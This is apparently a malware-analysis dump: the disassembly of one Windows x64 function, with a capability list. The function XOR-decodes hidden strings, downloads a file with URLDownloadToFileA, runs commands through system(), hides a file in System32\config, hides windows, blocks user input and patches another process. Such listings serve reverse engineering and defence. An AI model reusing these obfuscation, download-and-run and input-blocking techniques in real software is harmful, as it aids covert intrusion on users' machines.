Function at 0x140063b60
Capabilities:
Contain obfuscated stackstrings
Create pipe
Download url
Encode data using xor
Execute command
Hide graphical window
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
xor r15d, r15d
movdqa xmm1, xmmword [0x140112820]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140112740]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, WSAStartup
mov r8b, 0x25
mov r9b, 0x33
mov r10b, Ordinal_60
mov r11b, 0x26
movzx ebx, dl
mov dil, 0x7c
movzx esi, dil
movzx r14d, dil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
xor dil, cl
mov byte [rsp + 0x56], dil
xor sil, cl
mov byte [rsp + 0x57], sil
xor r14b, cl
mov byte [rsp + 0x58], r14b
mov byte [rsp + 0x59], r15b
mov ecx, r15d
lea r14, [0x14075f770]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x140063cb0
lea r12, [0x14010e59c]
mov qword [0x14075f760], r12
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
lea rax, [0x14010706a]
mov qword [0x14075f768], rax
nop dword [rax]
movdqa xmm1, xmmword [0x140112e00]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140112f30]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, reloc.WS2_32.dll_WSASetLastError
mov r8b, 0x78
mov r9b, reloc.WS2_32.dll_WSACleanup
mov r10b, 0x7c
mov r11b, 0x33
movzx ebx, r8b
mov dil, 0x65
movzx esi, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
xor dil, cl
mov byte [rsp + 0x56], dil
xor sil, cl
mov byte [rsp + 0x57], sil
mov byte [rsp + 0x58], r15b
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140063edf
movdqa xmm1, xmmword [0x1401122f0]
movdqu xmmword [rbp - 0x68], xmm1
movdqa xmm2, xmmword [0x140112b70]
movdqu xmmword [rbp - 0x58], xmm2
mov dl, reloc.WLDAP32.dll_Ordinal_26
mov r8b, 1
mov r9b, Ordinal_26
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x58], al
xor byte [rbp - 0x57], cl
xor byte [rbp - 0x56], cl
xor byte [rbp - 0x55], cl
xor byte [rbp - 0x54], cl
xor byte [rbp - 0x53], cl
xor byte [rbp - 0x52], cl
xor byte [rbp - 0x51], cl
xor byte [rbp - 0x50], cl
xor byte [rbp - 0x4f], cl
xor byte [rbp - 0x4e], cl
xor byte [rbp - 0x4d], cl
xor byte [rbp - 0x4c], cl
xor byte [rbp - 0x4b], cl
xor byte [rbp - 0x4a], cl
xor byte [rbp - 0x49], cl
xor dl, cl
mov byte [rbp - 0x48], dl
xor r8b, cl
mov byte [rbp - 0x47], r8b
xor r9b, cl
mov byte [rbp - 0x46], r9b
mov byte [rbp - 0x45], r15b
lea rcx, [rbp - 0x67]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140063d00
movdqa xmm1, xmmword [0x1401126a0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x1401125f0]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, Ordinal_41
mov r8b, reloc.WLDAP32.dll_Ordinal_32
mov r9b, Ordinal_45
mov r10b, 0x24
mov r11b, 0x6b
movzx ebx, r8b
mov dil, 0x3d
movzx esi, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
xor dil, cl
mov byte [rsp + 0x56], dil
xor sil, cl
mov byte [rsp + 0x57], sil
mov byte [rsp + 0x58], r15b
movdqa xmm0, xmmword [0x140113060]
movdqu xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x140112db0]
movdqu xmmword [rbp - 0x28], xmm1
movdqa xmm0, xmmword [0x140112690]
movdqu xmmword [rbp - 0x18], xmm0
movdqa xmm1, xmmword [0x1401128f0]
movdqu xmmword [rbp - 8], xmm1
movdqa xmm0, xmmword [0x140112570]
movdqu xmmword [rbp + 8], xmm0
mov dword [rbp + 0x18], 0x66676c5b
mov dword [rbp + 0x1c], 0x68606c64
mov dword [rbp + 0x20], 0x6c716c27
xor eax, eax
mov byte [rbp + 0x24], al
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x37], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x36], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x35], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x34], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x33], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x32], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x31], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x30], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x2f], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x2e], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x2d], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x2c], al
movzx eax, byte [rbp - 0x38]
xor byte [rbp + rcx - 0x2b], al
add rcx, 0xd
cmp rcx, 0x5b
jb 0x140064050
mov byte [rbp + 0x24], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rsp + 0x31]
lea rdx, [rbp - 0x37]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:WindowsSystem32configRenomeia.exe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [rbp + 0x28], Ordinal_26
mov dword [rbp + 0x38], 1
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1c8], r15
mov r13d, r15d
mov dword [rbp + 0x1c0], r15d
xor r9d, r9d
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1400642ec
movdqa xmm1, xmmword [0x140112e20]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140112f80]
movdqu xmmword [rsp + 0x40], xmm2
mov cl, 0x7c
mov dl, Ordinal_60
mov r9b, 0x78
mov r10b, reloc.WS2_32.dll_WSACleanup
mov r11b, 0x77
movzx ebx, r10b
mov dil, 0x69
movzx esi, dl
mov r14b, 0x79
movzx r15d, r10b
mov r12b, reloc.WS2_32.dll_WSAGetLastError
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r8b
xor byte [rsp + 0x33], r8b
xor byte [rsp + 0x34], r8b
xor byte [rsp + 0x35], r8b
xor byte [rsp + 0x36], r8b
xor byte [rsp + 0x37], r8b
xor byte [rsp + 0x38], r8b
xor byte [rsp + 0x39], r8b
xor byte [rsp + 0x3a], r8b
xor byte [rsp + 0x3b], r8b
xor byte [rsp + 0x3c], r8b
xor byte [rsp + 0x3d], r8b
xor byte [rsp + 0x3e], r8b
xor byte [rsp + 0x3f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], r8b
xor byte [rsp + 0x42], r8b
xor byte [rsp + 0x43], r8b
xor byte [rsp + 0x44], r8b
xor byte [rsp + 0x45], r8b
xor byte [rsp + 0x46], r8b
xor byte [rsp + 0x47], r8b
xor byte [rsp + 0x48], r8b
xor byte [rsp + 0x49], r8b
xor byte [rsp + 0x4a], r8b
xor byte [rsp + 0x4b], r8b
xor byte [rsp + 0x4c], r8b
xor byte [rsp + 0x4d], r8b
xor byte [rsp + 0x4e], r8b
xor byte [rsp + 0x4f], r8b
xor cl, r8b
mov byte [rsp + 0x50], cl
xor dl, r8b
mov byte [rsp + 0x51], dl
xor r9b, r8b
mov byte [rsp + 0x52], r9b
xor r10b, r8b
mov byte [rsp + 0x53], r10b
xor r11b, r8b
mov byte [rsp + 0x54], r11b
xor bl, r8b
mov byte [rsp + 0x55], bl
xor dil, r8b
mov byte [rsp + 0x56], dil
xor sil, r8b
mov byte [rsp + 0x57], sil
xor r14b, r8b
mov byte [rsp + 0x58], r14b
xor r15b, r8b
mov byte [rsp + 0x59], r15b
xor r12b, r8b
mov byte [rsp + 0x5a], r12b
mov byte [rsp + 0x5b], r13b
xor r15d, r15d
mov ecx, r15d
lea r14, [0x14075f770]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400642a0
lea r12, [0x14010e59c]
mov qword [0x14075f760], r12
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], r13d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r13d
lea rax, [0x14010e5a0]
mov qword [0x14075f768], rax
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x1400644ad
movdqa xmm1, xmmword [0x140112cf0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140113040]
movdqu xmmword [rsp + 0x40], xmm2
mov cl, reloc.WS2_32.dll_WSASetLastError
mov dl, 0x37
mov r9b, reloc.WS2_32.dll_WSACleanup
mov r10b, 0x78
mov r11b, 0x7b
movzx ebx, r10b
mov dil, 0x65
movzx esi, dl
mov r14b, 0x75
movzx r15d, r10b
mov r12b, 0x63
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r8b
xor byte [rsp + 0x33], r8b
xor byte [rsp + 0x34], r8b
xor byte [rsp + 0x35], r8b
xor byte [rsp + 0x36], r8b
xor byte [rsp + 0x37], r8b
xor byte [rsp + 0x38], r8b
xor byte [rsp + 0x39], r8b
xor byte [rsp + 0x3a], r8b
xor byte [rsp + 0x3b], r8b
xor byte [rsp + 0x3c], r8b
xor byte [rsp + 0x3d], r8b
xor byte [rsp + 0x3e], r8b
xor byte [rsp + 0x3f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], r8b
xor byte [rsp + 0x42], r8b
xor byte [rsp + 0x43], r8b
xor byte [rsp + 0x44], r8b
xor byte [rsp + 0x45], r8b
xor byte [rsp + 0x46], r8b
xor byte [rsp + 0x47], r8b
xor byte [rsp + 0x48], r8b
xor byte [rsp + 0x49], r8b
xor byte [rsp + 0x4a], r8b
xor byte [rsp + 0x4b], r8b
xor byte [rsp + 0x4c], r8b
xor byte [rsp + 0x4d], r8b
xor byte [rsp + 0x4e], r8b
xor byte [rsp + 0x4f], r8b
xor cl, r8b
mov byte [rsp + 0x50], cl
xor dl, r8b
mov byte [rsp + 0x51], dl
xor r9b, r8b
mov byte [rsp + 0x52], r9b
xor r10b, r8b
mov byte [rsp + 0x53], r10b
xor r11b, r8b
mov byte [rsp + 0x54], r11b
xor bl, r8b
mov byte [rsp + 0x55], bl
xor dil, r8b
mov byte [rsp + 0x56], dil
xor sil, r8b
mov byte [rsp + 0x57], sil
xor r14b, r8b
mov byte [rsp + 0x58], r14b
xor r15b, r8b
mov byte [rsp + 0x59], r15b
xor r12b, r8b
mov byte [rsp + 0x5a], r12b
mov byte [rsp + 0x5b], r13b
xor r15d, r15d
mov ecx, r15d
lea r14, [0x14075f770]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x140064461
lea r12, [0x14010e59c]
mov qword [0x14075f760], r12
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], r13d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r13d
lea rax, [0x14010e5a0]
mov qword [0x14075f768], rax
movdqa xmm1, xmmword [str.g___0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140112230]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, 0xa
mov r8b, 2
mov r9b, reloc.WS2_32.dll_ntohl
mov r10b, 6
mov r11b, 0x49
movzx ebx, r8b
mov dil, Ordinal_32
movzx esi, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
xor dil, cl
mov byte [rsp + 0x56], dil
xor sil, cl
mov byte [rsp + 0x57], sil
mov byte [rsp + 0x58], r13b
movzx edx, byte [rbp + 0x1c0]
lea rcx, [rbp + 0x58]
call fcn.140073500
nop
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400645d5
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x58]
call fcn.140073520
nop
lea r8, [rbp + 0x1c8]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x58]
call fcn.140051470
test al, al
jne 0x14006478e
movdqa xmm1, xmmword [0x140112700]
movdqu xmmword [rbp - 0x68], xmm1
movdqa xmm2, xmmword [0x140112670]
movdqu xmmword [rbp - 0x58], xmm2
mov cl, 0x26
mov dl, 0x61
mov r9b, Ordinal_35
mov r10b, reloc.WLDAP32.dll_Ordinal_46
mov r11b, reloc.WLDAP32.dll_Ordinal_45
movzx ebx, r10b
mov dil, 0x33
movzx esi, dl
mov r14b, reloc.WLDAP32.dll_Ordinal_35
movzx r15d, r10b
mov r12b, 0x35
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], r8b
xor byte [rbp - 0x65], r8b
xor byte [rbp - 0x64], r8b
xor byte [rbp - 0x63], r8b
xor byte [rbp - 0x62], r8b
xor byte [rbp - 0x61], r8b
xor byte [rbp - 0x60], r8b
xor byte [rbp - 0x5f], r8b
xor byte [rbp - 0x5e], r8b
xor byte [rbp - 0x5d], r8b
xor byte [rbp - 0x5c], r8b
xor byte [rbp - 0x5b], r8b
xor byte [rbp - 0x5a], r8b
xor byte [rbp - 0x59], r8b
movd eax, xmm2
xor al, r8b
mov byte [rbp - 0x58], al
xor byte [rbp - 0x57], r8b
xor byte [rbp - 0x56], r8b
xor byte [rbp - 0x55], r8b
xor byte [rbp - 0x54], r8b
xor byte [rbp - 0x53], r8b
xor byte [rbp - 0x52], r8b
xor byte [rbp - 0x51], r8b
xor byte [rbp - 0x50], r8b
xor byte [rbp - 0x4f], r8b
xor byte [rbp - 0x4e], r8b
xor byte [rbp - 0x4d], r8b
xor byte [rbp - 0x4c], r8b
xor byte [rbp - 0x4b], r8b
xor byte [rbp - 0x4a], r8b
xor byte [rbp - 0x49], r8b
xor cl, r8b
mov byte [rbp - 0x48], cl
xor dl, r8b
mov byte [rbp - 0x47], dl
xor r9b, r8b
mov byte [rbp - 0x46], r9b
xor r10b, r8b
mov byte [rbp - 0x45], r10b
xor r11b, r8b
mov byte [rbp - 0x44], r11b
xor bl, r8b
mov byte [rbp - 0x43], bl
xor dil, r8b
mov byte [rbp - 0x42], dil
xor sil, r8b
mov byte [rbp - 0x41], sil
xor r14b, r8b
mov byte [rbp - 0x40], r14b
xor r15b, r8b
mov byte [rbp - 0x3f], r15b
xor r12b, r8b
mov byte [rbp - 0x3e], r12b
mov byte [rbp - 0x3d], 0
xor r15d, r15d
mov ecx, r15d
lea r14, [0x14075f770]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x67]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x140064740
lea r12, [0x14010e59c]
mov qword [0x14075f760], r12
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
lea rbx, [0x14010e5a0]
mov qword [0x14075f768], rbx
jmp 0x1400647a0
mov r13d, dword [rbp + 0x50]
mov dword [rbp + 0x1c0], r13d
lea rbx, [0x14010e5a0]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax + rax]
mov ecx, r13d
call fcn.140051520
test al, al
je 0x1400647b0
mov edx, 1
lea rcx, [rbp + 0x80]
call fcn.14006ac50
nop
mov ecx, r13d
call sym.playsinc.exe_patch_process
test al, al
je 0x140064ca2
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x140112250]
movdqu xmmword [rsp + 0x6f], xmm1
movdqa xmm2, xmmword [0x1401122e0]
movdqu xmmword [rsp + 0x7f], xmm2
mov dl, reloc.WS2_32.dll_send
mov r8b, reloc.WLDAP32.dll_Ordinal_27
mov r9b, reloc.WS2_32.dll_socket
mov r10b, Ordinal_32
mov r11b, 0x50
movzx ebx, r8b
mov dil, 6
movzx esi, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x7f], al
xor byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor dl, cl
mov byte [rbp - 0x71], dl
xor r8b, cl
mov byte [rbp - 0x70], r8b
xor r9b, cl
mov byte [rbp - 0x6f], r9b
xor r10b, cl
mov byte [rbp - 0x6e], r10b
xor r11b, cl
mov byte [rbp - 0x6d], r11b
xor bl, cl
mov byte [rbp - 0x6c], bl
xor dil, cl
mov byte [rbp - 0x6b], dil
xor sil, cl
mov byte [rbp - 0x6a], sil
mov byte [rbp - 0x69], 0
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
test rax, rax
jne 0x140064916
lea rcx, [rbp + 0x118]
call fcn.14006abf0
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rbx, [0x14010e5a0]
jmp 0x1400647b0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetForegroundWindow]
lea rdx, [0x14010eba8]
lea rcx, [rbp - 0x68]
call fcn.14006b540
nop
lea rcx, [rbp - 0x68]
call fcn.1400516e0
mov ecx, reloc.WS2_32.dll_listen
xor edx, edx
call fcn.140051670
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
movdqa xmm1, xmmword [0x140112d50]
movdqu xmmword [rsp + 0x6f], xmm1
mov dl, 0x64
mov r8b, 0x79
mov r9b, 0x6a
mov r10b, 0x65
mov r11b, 0x7f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor dl, cl
mov byte [rsp + 0x7f], dl
xor r8b, cl
mov byte [rbp - 0x80], r8b
xor r9b, cl
mov byte [rbp - 0x7f], r9b
xor r10b, cl
mov byte [rbp - 0x7e], r10b
xor r11b, cl
mov byte [rbp - 0x7d], r11b
mov byte [rbp - 0x7c], 0
mov rcx, r15
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x70]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x140064a00
mov qword [0x14075f760], r12
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], 0
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], 0
lea rax, [0x14010706a]
mov qword [0x14075f768], rax
nop dword [rax + rax]
movdqa xmm1, xmmword [0x140113150]
movdqu xmmword [rsp + 0x6f], xmm1
mov cl, 0x79
mov dl, WSAGetLastError
mov r8b, 0x42
mov r10b, reloc.WLDAP32.dll_Ordinal_35
mov r11b, Ordinal_60
mov bl, 0x5f
mov dil, 0x62
mov sil, 0x7b
mov r14b, 0x77
mov r15b, 0x6a
mov r12b, 0x76
mov r13b, 0x7f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], r9b
xor byte [rsp + 0x72], r9b
xor byte [rsp + 0x73], r9b
xor byte [rsp + 0x74], r9b
xor byte [rsp + 0x75], r9b
xor byte [rsp + 0x76], r9b
xor byte [rsp + 0x77], r9b
xor byte [rsp + 0x78], r9b
xor byte [rsp + 0x79], r9b
xor byte [rsp + 0x7a], r9b
xor byte [rsp + 0x7b], r9b
xor byte [rsp + 0x7c], r9b
xor byte [rsp + 0x7d], r9b
xor byte [rsp + 0x7e], r9b
xor cl, r9b
mov byte [rsp + 0x7f], cl
xor dl, r9b
mov byte [rbp - 0x80], dl
xor r8b, r9b
mov byte [rbp - 0x7f], r8b
xor r10b, r9b
mov byte [rbp - 0x7e], r10b
xor r11b, r9b
mov byte [rbp - 0x7d], r11b
xor bl, r9b
mov byte [rbp - 0x7c], bl
xor dil, r9b
mov byte [rbp - 0x7b], dil
xor sil, r9b
mov byte [rbp - 0x7a], sil
xor r14b, r9b
mov byte [rbp - 0x79], r14b
xor r15b, r9b
mov byte [rbp - 0x78], r15b
xor r12b, r9b
mov byte [rbp - 0x77], r12b
xor r13b, r9b
mov byte [rbp - 0x76], r13b
mov byte [rbp - 0x75], 0
lea rdx, [rsp + 0x70]
